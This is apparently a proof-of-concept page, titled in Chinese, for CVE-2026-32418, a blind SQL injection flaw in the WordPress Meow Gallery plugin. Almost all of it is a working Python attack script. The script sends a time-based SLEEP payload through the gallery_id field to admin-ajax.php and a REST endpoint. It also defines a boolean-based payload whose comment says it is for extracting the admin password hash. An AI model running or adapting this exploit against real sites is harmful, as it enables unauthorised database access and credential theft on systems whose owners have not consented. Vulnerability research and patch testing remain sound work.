CVE-2026-32418 WordPress Meow Gallery插件SQL注入漏洞

import requests import time # CVE-2026-32418 PoC - Blind SQL Injection in Meow Gallery # Target: WordPress site with Meow Gallery plugin <= 5.4.4 target_url = "http://target-wordpress-site.com" # Blind SQL Injection payload examples: # Time-based blind SQL injection payload_time = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1" # Boolean-based blind SQL injection to extract admin password hash payload_bool = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" def test_sqli(url, payload): """Test for SQL injection vulnerability""" # Common Meow Gallery endpoint patterns endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/meow-gallery/v1/gallery", ] for endpoint in endpoints: full_url = url + endpoint data = { 'action': 'meow_gallery_query', 'gallery_id': payload, } try: start_time = time.time() response = requests.post(full_url, data=data, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Time-based blind SQLi confirmed (delay: {elapsed}s)") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("[*] Testing CVE-2026-32418 - Meow Gallery SQL Injection") test_sqli(target_url, payload_time) print("[*] Scan complete")